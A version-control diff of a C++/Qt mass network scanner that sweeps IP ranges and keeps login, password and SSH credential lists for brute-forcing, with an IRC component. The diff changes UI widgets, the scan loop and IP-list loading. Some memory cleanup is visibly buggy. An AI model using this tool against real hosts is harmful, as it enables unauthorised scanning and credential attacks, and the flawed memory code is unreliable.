@ -3909,8 +3783,6 @@ color: rgb(71, 71, 71);</string>
<zorder>ircProxy</zorder> <zorder>ircProxy</zorder>
<zorder>ircProxyPort</zorder> <zorder>ircProxyPort</zorder>
<zorder>IRCCheckProxyBut</zorder> <zorder>IRCCheckProxyBut</zorder>
<zorder>IRCModeChangerBut</zorder>
<zorder>DataflowModeBut_2</zorder>
<zorder>nickShowBut</zorder> <zorder>nickShowBut</zorder>
<zorder>topicLine</zorder> <zorder>topicLine</zorder>
<zorder>IRCUTFMode</zorder> <zorder>IRCUTFMode</zorder>
@ -3920,6 +3792,166 @@ color: rgb(71, 71, 71);</string>
<zorder>labelIPRange_4</zorder> <zorder>labelIPRange_4</zorder>
<zorder>labelIPRange_5</zorder> <zorder>labelIPRange_5</zorder>
</widget> </widget>
<widget class="QWidget" name="widgetJOB" native="true">
<property name="geometry">
<rect>
<x>500</x>
<y>44</y>
<width>498</width>
<height>730</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
</property>
<widget class="QGraphicsView" name="jobRangeVisual">
<property name="geometry">
<rect>
<x>10</x>
<y>30</y>
<width>480</width>
<height>41</height>
</rect>
</property>
<property name="verticalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
<property name="horizontalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
</widget>
<widget class="QTableWidget" name="jobIPContractsTable">
<property name="geometry">
<rect>
<x>10</x>
<y>105</y>
<width>480</width>
<height>296</height>
</rect>
</property>
</widget>
<widget class="QTableWidget" name="jobIPWantedTable">
<property name="geometry">
<rect>
<x>10</x>
<y>425</y>
<width>480</width>
<height>296</height>
</rect>
</property>
</widget>
</widget>
<widget class="QPushButton" name="DataflowModeBut">
<property name="geometry">
<rect>
<x>440</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Online datastream</string>
</property>
<property name="whatsThis">
<string>Online datastream</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:Dataflow</string>
</property>
</widget>
<widget class="QPushButton" name="IRCModeBut">
<property name="geometry">
<rect>
<x>340</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Darknet IRC</string>
</property>
<property name="whatsThis">
<string>Darknet IRC</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:IRC</string>
</property>
</widget>
<widget class="QPushButton" name="JobModeBut">
<property name="geometry">
<rect>
<x>390</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>IP range distribution</string>
</property>
<property name="whatsThis">
<string>IP range distribution</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:Jobs</string>
</property>
</widget>
<widget class="QPushButton" name="IRCModeChangerBut">
<property name="enabled">
<bool>true</bool>
</property>
<property name="geometry">
<rect>
<x>290</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Raw or normal log view</string>
</property>
<property name="whatsThis">
<string>Raw or normal log view</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:IRC raw</string>
</property>
</widget>
</widget> </widget>
</widget> </widget>
<layoutdefault spacing="6" margin="11"/> <layoutdefault spacing="6" margin="11"/>

View File

@ -2,6 +2,7 @@
#include "STh.h" #include "STh.h"
#include "resource.h" #include "resource.h"
bool __savingBackUpFile = false;
bool horLineFlag = false; bool horLineFlag = false;
QJsonArray *jsonArr = new QJsonArray(); QJsonArray *jsonArr = new QJsonArray();
static int portArr[65536] = {0}; static int portArr[65536] = {0};
@ -21,7 +22,8 @@ int OnLiner = 0;
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
int ipsstart[4], ipsend[4], int ipsstart[4], ipsend[4],
startNum, endNum, overallPorts, flCounter, octet[4]; startNum, endNum, overallPorts, flCounter, octet[4];
unsigned char ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4]; unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL;
unsigned int importFileSize = 0;
int gPingTimeout = 2000; int gPingTimeout = 2000;
double ips = 0; double ips = 0;
char top_level_domain[128] = {0}; char top_level_domain[128] = {0};
@ -31,7 +33,6 @@ char **GlobalNegatives = 0;
char **loginLst, **passLst; char **loginLst, **passLst;
char **wfLoginLst, **wfPassLst; char **wfLoginLst, **wfPassLst;
char **sshlpLst; char **sshlpLst;
//char des1[64] = {0}, res[32]= {0};
char saveStartIP[128] = {0}; char saveStartIP[128] = {0};
char saveEndIP[128] = {0}; char saveEndIP[128] = {0};
char gRange[128] = {0}; char gRange[128] = {0};
@ -380,8 +381,9 @@ void _saver()
{ {
while(globalScanFlag) while(globalScanFlag)
{ {
__savingBackUpFile = true;
_SaveBackupToFile(); _SaveBackupToFile();
__savingBackUpFile = false;
Sleep(10000); Sleep(10000);
}; };
}; };
@ -865,22 +867,19 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[])
// return res; // return res;
//}; //};
Connector con;
#if defined(WIN32) #if defined(WIN32)
void _connect(void* ss) void _connect(void* ss)
#else #else
void *_connect(void* ss) void *_connect(void* ss)
#endif #endif
{ {
if(globalScanFlag) ++ipCounter;
{
char ip[MAX_ADDR_LEN] = {0}; char ip[MAX_ADDR_LEN] = {0};
strcpy(ip, ((sockstruct*)ss)->argv); strcpy(ip, ((sockstruct*)ss)->argv);
delete []ss;
//char hostLog[256] = {0}; //char hostLog[256] = {0};
//strcpy(hostLog, GetHost(ip)); //strcpy(hostLog, GetHost(ip));
delete []ss;
Connector con;
++ipCounter;
for(int i = 0; i <= overallPorts; ++i) for(int i = 0; i <= overallPorts; ++i)
{ {
@ -890,7 +889,6 @@ void *_connect(void* ss)
ConDec(); ConDec();
}; };
};
void targetAndIPWriter(unsigned long int target, char *buff) void targetAndIPWriter(unsigned long int target, char *buff)
{ {
char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0}; char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0};
@ -1522,13 +1520,11 @@ int fInit(int InitMode, char *gR)
ipsend[1] = ipsendfl[flCounter][1]; ipsend[1] = ipsendfl[flCounter][1];
ipsend[2] = ipsendfl[flCounter][2]; ipsend[2] = ipsendfl[flCounter][2];
ipsend[3] = ipsendfl[flCounter][3]; ipsend[3] = ipsendfl[flCounter][3];
} }
else else
{ {
int x; int x;
char des1[64] = {0}; char des1[64] = {0};
//memcpy(res, "\0", sizeof(res));
for(int i = 0; i < 3; i++) //Filling the range-starting ip mass. for(int i = 0; i < 3; i++) //Filling the range-starting ip mass.
{ {
@ -1539,10 +1535,8 @@ int fInit(int InitMode, char *gR)
ZeroMemory(des1, sizeof(des1)); ZeroMemory(des1, sizeof(des1));
if(ipsstart[i] > 255) if(ipsstart[i] > 255)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range."); stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread(); stt->doEmitionKillSttThread();
#pragma endregion
return -1; return -1;
}; };
}; };
@ -1550,10 +1544,8 @@ int fInit(int InitMode, char *gR)
x = strcspn(gR, "-"); x = strcspn(gR, "-");
if(strstr(gR, "-") == NULL) if(strstr(gR, "-") == NULL)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range."); stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread(); stt->doEmitionKillSttThread();
#pragma endregion
return -1; return -1;
}; };
@ -1563,10 +1555,8 @@ int fInit(int InitMode, char *gR)
if(strstr(gR, ".") == NULL) if(strstr(gR, ".") == NULL)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range."); stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread(); stt->doEmitionKillSttThread();
#pragma endregion
return -1; return -1;
}; };
@ -1579,10 +1569,8 @@ int fInit(int InitMode, char *gR)
if(ipsend[i] > 255) if(ipsend[i] > 255)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range."); stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread(); stt->doEmitionKillSttThread();
#pragma endregion
return -1; return -1;
}; };
}; };
@ -1601,10 +1589,8 @@ int fInit(int InitMode, char *gR)
) )
) )
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range."); stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread(); stt->doEmitionKillSttThread();
#pragma endregion
return -1; return -1;
}; };
@ -1625,7 +1611,41 @@ void FileLoader(char *str)
FILE *fl = fopen(str, "r"); FILE *fl = fopen(str, "r");
if(fl != NULL) if(fl != NULL)
{ {
while(fgets((char*)curIP, sizeof(curIP), fl) != NULL)
{
if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
{
++importFileSize;
};
ZeroMemory(curIP, sizeof(curIP));
};
ipsstartfl = new unsigned char*[importFileSize + 2];
ipsendfl = new unsigned char*[importFileSize + 2];
starterIP = new unsigned char*[importFileSize + 2];
ZeroMemory(ipsstartfl, importFileSize);
ZeroMemory(ipsendfl, importFileSize);
ZeroMemory(starterIP, importFileSize);
for(int i = 0; i < importFileSize; ++i)
{
ipsstartfl[i] = new unsigned char[4];
ipsendfl[i] = new unsigned char[4];
starterIP[i] = new unsigned char[4];
ZeroMemory(ipsstartfl[i], 4);
ZeroMemory(ipsendfl[i], 4);
ZeroMemory(starterIP[i], 4);
};
rewind(fl);
while(fgets(curIP, 64, fl) != NULL) while(fgets(curIP, 64, fl) != NULL)
{
if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
{ {
strcpy(curIPCopy, curIP); strcpy(curIPCopy, curIP);
char *ptr1 = strstr(curIP, " "); char *ptr1 = strstr(curIP, " ");
@ -1663,8 +1683,8 @@ void FileLoader(char *str)
curNIndex = 0; curNIndex = 0;
ZeroMemory(curN, 32); ZeroMemory(curN, 32);
continue; continue;
}; }
if(curS == '-') else if(curS == '-')
{ {
if(firstPart) if(firstPart)
{ {
@ -1686,9 +1706,19 @@ void FileLoader(char *str)
}; };
if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0] if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0]
|| ipsstartfl[flCounter][1] > ipsendfl[flCounter][1] || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0]
|| ipsstartfl[flCounter][2] > ipsendfl[flCounter][2] && ipsstartfl[flCounter][1] > ipsendfl[flCounter][1]
|| ipsstartfl[flCounter][3] > ipsendfl[flCounter][3]) )
|| (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0]
&& ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1]
&& ipsstartfl[flCounter][2] > ipsendfl[flCounter][2]
)
|| (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0]
&& ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1]
&& ipsstartfl[flCounter][2] >= ipsendfl[flCounter][2]
&& ipsstartfl[flCounter][3] > ipsendfl[flCounter][3]
)
)
{ {
char tempMsg[64] = {0}; char tempMsg[64] = {0};
strcpy(tempMsg, "[IP Loader]Error in IP list. Line-> ["); strcpy(tempMsg, "[IP Loader]Error in IP list. Line-> [");
@ -1696,9 +1726,8 @@ void FileLoader(char *str)
strcat(tempMsg, "] String-> ["); strcat(tempMsg, "] String-> [");
strcat(tempMsg, curIPCopy); strcat(tempMsg, curIPCopy);
strcat(tempMsg, "]"); strcat(tempMsg, "]");
#pragma region QTGUI_Area
stt->doEmitionRedFoundData(QString(tempMsg)); stt->doEmitionRedFoundData(QString(tempMsg));
#pragma endregion return;
}; };
gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]); gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]);
@ -1783,7 +1812,7 @@ void FileLoader(char *str)
else ipsendfl[flCounter][i] = octet[i]|~mOctet[i]; else ipsendfl[flCounter][i] = octet[i]|~mOctet[i];
}; };
gTargets += pow((float)2, (32 - mask)) - 1; gTargets += pow((float)2, (32 - mask));
++flCounter; ++flCounter;
} }
else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL) else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
@ -1792,11 +1821,12 @@ void FileLoader(char *str)
} }
else else
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[IP Loader] Wrong list format. String: " + QString(curIP)); stt->doEmitionRedFoundData("[IP Loader] Wrong list format. String: " + QString(curIP));
#pragma endregion };
ZeroMemory(curIP, sizeof(curIP));
}; };
}; };
gTargets -= 1;
gTargetsOverall = gTargets; gTargetsOverall = gTargets;
targets = gTargets; targets = gTargets;
@ -1805,9 +1835,7 @@ void FileLoader(char *str)
} }
else else
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
#pragma endregion
}; };
}; };
char *GetCIDRRangeStr(char *str) char *GetCIDRRangeStr(char *str)
@ -2209,10 +2237,6 @@ int startScan(char* args)
overallPorts = 0; overallPorts = 0;
found = 0; found = 0;
indexIP = 0; indexIP = 0;
ZeroMemory(starterIP, sizeof(starterIP));
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
ZeroMemory(ipsendfl, sizeof(ipsendfl));
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
ZeroMemory(octet, sizeof(octet)); ZeroMemory(octet, sizeof(octet));
ZeroMemory(ipsstart, sizeof(ipsstart)); ZeroMemory(ipsstart, sizeof(ipsstart));
ZeroMemory(ipsend, sizeof(ipsend)); ZeroMemory(ipsend, sizeof(ipsend));
@ -2282,18 +2306,19 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
if(globalScanFlag == false) break; if(globalScanFlag == false) break;
while(ipsstart[0] < 256 && eor0 == 0) while(ipsstart[0] < 256 && eor0 == 0)
{ {
if(globalScanFlag == false) break;
if(ipsstart[0] == ipsend[0]) eor0 = 1; if(ipsstart[0] == ipsend[0]) eor0 = 1;
if(globalScanFlag == false) break;
while(ipsstart[1] < 256 && eor1 == 0) while(ipsstart[1] < 256 && eor1 == 0)
{ {
if(globalScanFlag == false) break;
if(ipsstart[1] == ipsend[1] && eor0 == 1) eor1 = 1; if(ipsstart[1] == ipsend[1] && eor0 == 1) eor1 = 1;
if(globalScanFlag == false) break;
while(ipsstart[2] < 256 && eor2 == 0) while(ipsstart[2] < 256 && eor2 == 0)
{ {
if(globalScanFlag == false) break;
if(ipsstart[2] == ipsend[2] && eor1 == 1) eor2 = 1; if(ipsstart[2] == ipsend[2] && eor1 == 1) eor2 = 1;
if(globalScanFlag == false) break;
while(ipsstart[3] < 256 && eor3 == 0) while(ipsstart[3] < 256 && eor3 == 0)
{ {
if(globalScanFlag == false) break;
st = new sockstruct(); st = new sockstruct();
ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(st->argv, sizeof(st->argv));
ZeroMemory(res, sizeof(res)); ZeroMemory(res, sizeof(res));
@ -2313,16 +2338,12 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
strcpy(saveStartIP, res); strcpy(saveStartIP, res);
targetAndIPWriter(gTargets--, st->argv); targetAndIPWriter(gTargets--, st->argv);
ConInc(); ConInc();
#if defined(WIN32) #if defined(WIN32)
if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); _beginthread( (void(*)(void*))_connect, 0, st );
#else #else
if(globalScanFlag)
{
pthread_t thrc; pthread_t thrc;
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st);
};
#endif #endif
Sleep(gThreadDelay); Sleep(gThreadDelay);
++ipsstart[3]; ++ipsstart[3];
@ -2587,13 +2608,10 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
ConInc(); ConInc();
#if defined(WIN32) #if defined(WIN32)
if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); _beginthread( (void(*)(void*))_connect, 0, st );
#else #else
if(globalScanFlag)
{
pthread_t thrc; pthread_t thrc;
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st ); pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st );
};
#endif #endif
Sleep(gThreadDelay); Sleep(gThreadDelay);
if(ipsstartfl[gC][3] == 255) break; if(ipsstartfl[gC][3] == 255) break;
@ -2627,7 +2645,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
#pragma endregion #pragma endregion
}; };
Sleep(gTimeOut + 1); Sleep(gTimeOut + 1);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionYellowFoundData("Stopping threads..."); stt->doEmitionYellowFoundData("Stopping threads...");
@ -2676,7 +2693,24 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
delete []sshlpLst; delete []sshlpLst;
sshlpLst = NULL; sshlpLst = NULL;
}; };
if(ipsstartfl != NULL)
{
for(int i = 0; i < MaxSSHPass; ++i) delete []ipsstartfl[i];
delete []ipsstartfl;
ipsstartfl = NULL;
};
if(ipsendfl != NULL)
{
for(int i = 0; i < MaxSSHPass; ++i) delete []ipsendfl[i];
delete []ipsendfl;
ipsendfl = NULL;
};
if(starterIP != NULL)
{
for(int i = 0; i < MaxSSHPass; ++i) delete []starterIP[i];
delete []starterIP;
starterIP = NULL;
};
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + ".");
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));

View File

@ -48,8 +48,10 @@ typedef int BOOL;
#endif #endif
#define MAX_ADDR_LEN 128 #define MAX_ADDR_LEN 128
#define TITLE_MAX_LENGTH 512 #define TITLE_MAX_SIZE 512
#define RECV_MAX_LENGTH 350000 #define RECV_MAX_SIZE 350000
#define REQUEST_MAX_SIZE 4096
#define COOKIE_MAX_SIZE 1024
#define SD_BOTH 2 #define SD_BOTH 2
#define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" #define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21"
#define IRC_CHAN "iskopasi_lab03" #define IRC_CHAN "iskopasi_lab03"
@ -134,12 +136,7 @@ extern int stopGlobalLog;
extern int GlobalNegativeSize; extern int GlobalNegativeSize;
extern char* thrds, top_level_domain[128]; extern char* thrds, top_level_domain[128];
extern char startM[64], endM[64]; extern char startM[64], endM[64];
struct workerStruct
{
int id;
bool giveMeMore;
char argv[MAX_ADDR_LEN];
};
extern char **GlobalNegatives; extern char **GlobalNegatives;
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst; extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
extern int MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass; extern int MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass;
@ -162,39 +159,36 @@ extern char gFirstDom[128];
extern char gPorts[65536]; extern char gPorts[65536];
extern int gMaxBrutingThreads; extern int gMaxBrutingThreads;
extern int OnLiner; extern int OnLiner;
extern bool __savingBackUpFile;
extern unsigned int importFileSize;
extern int ipsstart[4], ipsend[4], extern int ipsstart[4], ipsend[4],
startNum, endNum, overallPorts, flCounter, octet[4]; startNum, endNum, overallPorts, flCounter, octet[4];
extern unsigned char ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4]; //extern unsigned char ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4];
extern unsigned char **ipsstartfl, **ipsendfl, **starterIP;
typedef struct ST{ typedef struct ST{
char argv[2048]; char argv[MAX_ADDR_LEN];
}sockstruct; }sockstruct;
struct conSTR{ struct conSTR{
char *lowerBuff; char *lowerBuff;
int size; int size;
}; };
struct assClSt{ struct assClSt{
const char *argv2; const char *argv2;
}; };
struct PathStr{ struct PathStr{
char codepage[32]; char codepage[32];
char headr[TITLE_MAX_LENGTH]; char headr[TITLE_MAX_SIZE];
char path[1024]; char path[1024];
int flag; int flag;
int port; int port;
char ip[2048]; char ip[MAX_ADDR_LEN];
char cookie[1024]; char cookie[COOKIE_MAX_SIZE];
}; };
struct pl{ struct pl{
int loginCounter; int loginCounter;
int passCounter; int passCounter;
}; };
struct lopaStr{ struct lopaStr{
char login[128]; char login[128];
char pass[32]; char pass[32];
@ -214,6 +208,7 @@ extern void _SaveBackupToFile();
extern char* __cdecl strstri(char *_Str, const char *_SubStr); extern char* __cdecl strstri(char *_Str, const char *_SubStr);
extern char* _getAttribute(char *str, char *attrib); extern char* _getAttribute(char *str, char *attrib);
extern char *_findFirstOcc(char *str, char *delim); extern char *_findFirstOcc(char *str, char *delim);
extern int _SSHLobby(char *ip, int port, conSTR *CSTR);
class Lexems class Lexems
{ {
public: public: